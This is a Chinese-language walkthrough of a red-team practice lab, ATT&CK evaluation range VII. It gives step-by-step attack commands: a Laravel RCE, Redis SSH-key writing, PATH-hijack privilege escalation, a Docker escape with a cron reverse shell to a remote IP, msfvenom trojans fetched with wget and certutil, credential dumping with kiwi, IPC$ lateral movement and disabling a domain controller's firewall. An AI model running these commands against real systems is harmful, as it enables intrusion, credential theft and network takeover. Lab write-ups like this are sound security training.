ATT&CK红队评估实战靶场(七)
前言
好久没打过靶机了,ATT&CK红队评估实战靶场(七)
漏洞利用
漏洞搜索与利用
Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
Docker逃逸
通达OA v11.3 漏洞利用
Linux环境变量提权
Redis 未授权访问漏洞
Linux sudo权限提升(CVE-2021-3156)漏洞利用
SSH密钥利用
Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
MS14-068漏洞利用
环境搭建
环境配置
在Vmware中新增两个虚拟网卡VMnet8、VMnet14
VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24
将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网
攻击机kali:192.168.42.224
web1:192.168.42.30
服务配置
DMZ区的 Ubuntu 需要启动nginx服务:
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 2)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
外网渗透
Laravel Debug mode RCE漏洞利用
ip扫描
nmap -T4 -sV -A 192.168.42.30 -p 1-65535
开启了 22 80 81 6379端口
22 ssh端口不说了,80端口是一个博客,没有什么利用点
访问81端口发现是Laravel框架且版本是 Laravel v8.29.0 (PHP v7.4.14)
搜索到漏洞CVE-2021-3129,Exp工具直接打一波
这个shell哥斯拉3.03没连接上可能要使用旧版哥斯拉才能连接,又找到一款写入一句话的工具:
成功getshell
发现是docker环境
hostname
ls -alh /.dockerenv
cat /proc/1/cgroup
Redis未授权
先上两篇文章
Redis系列漏洞总结 - FreeBuf网络安全行业门户
Redis 常见漏洞利用方法总结 - 云+社区 - 腾讯云 (tencent.com)
还有一个 6379端口
没有测试,要充分发挥所收集到的信息加以利用
Redis:
先安装个客户端
#安装
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
sudo cp src/redis-cli /usr/local/bin/
先尝试连接redis:
连接成功,尝试写ssh 公钥
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过
修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys
,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key
接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入服务端Redis的缓冲里:
ssh-keygen -t rsa //主机生成公钥 |
然后,使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys
,并将数据保存在目标服务器硬盘上
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/ |
攻击机ssh直接连接:
先看一手IP信息发现两个网段
发现nginx服务:
看一下配置文件:
81端口是反代另一个网段的机器的8000端口,结合webshell的docker环境,所以说,web1反代了web2的docker,那么接下来就是利用docker逃逸来控制第二台机器
反弹dockershell
按说,第二层网络是nat,应该是能访问到kali的,所以这里我能反弹dockers的shell,但是这个师傅说docker不出网,可能是前面的网络配置不同吧
后来想了一下,真实环境中,web2应该处于内网中,肯定不能访问kali,所以将docker的shell反弹到web1上,将web1作为跳板机
反弹shell的方式也有很多了,bash一句话,msf,python起一个httpserver等
bash一句话:
docker提权–环境变量提权
现在的docker权限是一个www-data,先将权限提升一下
能想到的是内核提权,但是这里学习到了一个新的方法,环境变量提权
这里就必须了解一下 $PATH是个什么
:
PATH变量就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以运行。PATH的值是一系列目录,
echo $PATH
可以显示环境变量
那么第一步就是先寻找带有SUID的文件,Linux SetUID(SUID)文件特殊权限用法详解
简单来说,对于一个可执行文件,当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失
find / -perm -u=s -type f 2>/dev/null |
发现一个shell
看一下:
运行ps命令,但是没有使用绝对路径
那么我们尝试更改 $PATH
来执行我们的恶意程序,从而获得目标主机的高权限shell
cd /tmp |
个人理解
:当运行./shell 时,执行系统命令 ps 这个命令本应该在/usr/bin下执行,但是我们添加了一个同名ps且可执行
,并且在 $PATH 中 /tmp 处于最开头,所以 先执行了/tmp下的恶意ps
,而且因为./shell的s权限
,所以在执行恶意 ps 时会以 root 身份执行
将docker的root权限一句话反弹到web1,www-data的shell可以扔掉了
docker逃逸
毕竟是一个docker环境,肯定要进行逃逸
那么基本就三种逃逸方式了:
一、由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
二、由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271
三、由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式
这里利用特权模式进行逃逸
原理
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
fdisk -l //查看磁盘文件 |
mkdir /cyshack //创建 cyshack文件夹 |
挂载成功,写入计划任务
echo '* * * * * bash -i >& /dev/tcp/192.168.52.10/7002 0>&1' >> /cyshack/var/spool/cron/root |
但是没有响应
再次尝试写ssh密钥,发现/cyshack/root下没有.ssh目录
再看一下/cyshack/home/ubuntu\
那么就往这里写ssh秘钥,这里还是要在web1上进行写ssh
ssh-keygen -f cyshack |
cp -avx /cyshack/home/ubuntu/.ssh/id_rsa.pub /cyshack/home/ubuntu/.ssh/authorized_keys |
用web1尝试ssh连接 web2:
ssh -i cyshack [email protected] |
获取到了web2的ubuntu用户的shell
又发现一个93网段
CVE-2021-3493
影响版本:
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
将web2的ubuntu进行提权
exp:CVE-2021-3493/exploit.c at main · briskets
vim exploit.c #将下载的exploit.c的内容粘贴到该文件中 |
上线MSF
将这两台root机器上线到msf
Web1:
可以msfvenom生成,web1再执行wget并运行,来反弹shell
这里直接运用 web_delivery
进行上线,记得切换payload
和 target
下一步就是添加路由上线web2,msf更新后,添加路由更方便了
run post/multi/manage/autoroute |
生成木马,这里运用 bind_tcp
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=8003 -f elf >shell2.elf |
这里怎么让这个木马传到web2呢?因为它不出网,所以web1利用 python起一个httpserver
然后web2利用wget这个木马
上传木马到web1
upload ./shell.elf /tmp |
web1起一个服务:注意路径,要起到木马的目录下
python3 -m http.server |
web2进行下载:
wget http://192.168.52.10:8000/shell.elf |
运行上线
至此有两个机器的shell
二层网络渗透
添加路由,添加代理(socks_proxy模块记得开启)
信息收集
内网扫描,先扫52网段,有个问题是,pc1开启防火墙,msf 和 nmap都试了几个都没能扫出来,怎么破?
最后 netbios
破了,但是只扫出来一次,os为windows
Nmap扫一下pc1,没扫出来,哎,先手动关了防火墙,进行下面的
proxychains nmap -Pn -sT -sV -F 192.168.52.30 |
发现8080有一个 http 服务
再扫一下版本信息,win7 还存在域环境
既然是win7,ms17_010
失败了
添加代理 访问 http 服务
看看http服务吧,浏览器先添加代理
或者proxy代理工具,根据情况自动调整
访问:
信息收集:/inc/expired.php
漏洞利用
通达OA前台任意文件上传漏洞+文件包含漏洞导致getshell - 知乎 (zhihu.com)
Burpsuite设置socks代理,不知道为什么socks4不能用:
上传:
post:
http://192.168.52.30:8080//ispirit/interface/gateway.php |
上线msf
Msf利用web_delivery
生成powershell
这里没有上线成功
想着让win7主动下载木马
这里我偷个懒直接攻击机起一个服务,在真实渗透环境中,应该上传到跳板机上
让win7主动下载
certutil -urlcache -split -f http://192.168.42.224/shell3.exe |
开启监听:
没反应,传一个 bind_tcp的马
监听换个payload,再次执行上面
上线成功:
三层网络信息收集
降权
先看一下权限
System权限,为了方便信息收集,将当前权限降为普通域用户,因为不是域用户没有权限执行域命令
getuid //查看当前token |
降权成功
进入shell失败,那么 进程迁移到域用户
,这里迁移了好几个都是system权限,还得多学习这方面
域信息收集
利用域用户进行信息收集
域用户
域内机器
域内其他主机名:
域控列表
域控ip
域管
整理:当前PC1(192.168.93.20)存在域环境,域控DC(192.168.93.30)和PC2(192.168.93.40) 域管账户为administrator
抓取密码
因为抓密码要system权限,所以我们再打一个system权限
load kiwi |
抓取到密码:
bunny:Bunny2021
administrator:Whoami2021
开启3389
run post/windows/manage/enable_rdp |
proxychains rdesktop -g 1440x900 -r disk:LinuxxDisk=/root/Downloads -u bunny -p "Bunny2021" 192.168.52.30 |
失败
三层网络渗透
接下来就是王第三层网络进行渗透
添加路由
探测windows版本:
use auxiliary/scanner/smb/smb_version |
Ms17-010
先打win7(PC2)失败
我看师傅们都是利用17_010来上线的,打的时候经常断掉,因为抓取过域管密码,所以尝试 ipc
$IPC
建立ipc连接
生成木马:
上传到PC1
共享到PC2
计划任务开启:
at \\192.168.93.40 16:45 c:\houmen.exe |
开启监听,成功上线:
删除记录:
net use \\192.168.93.40\ipc$ /del |
psexec-域控
尝试域控
Psexec试一下:
失败,原来是防火墙
再次尝试建立ipc并用sc命令关闭域控防火墙
sc \\192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off //创建服务 |
再打一遍成功上线:
这里当然也可以用ipc传马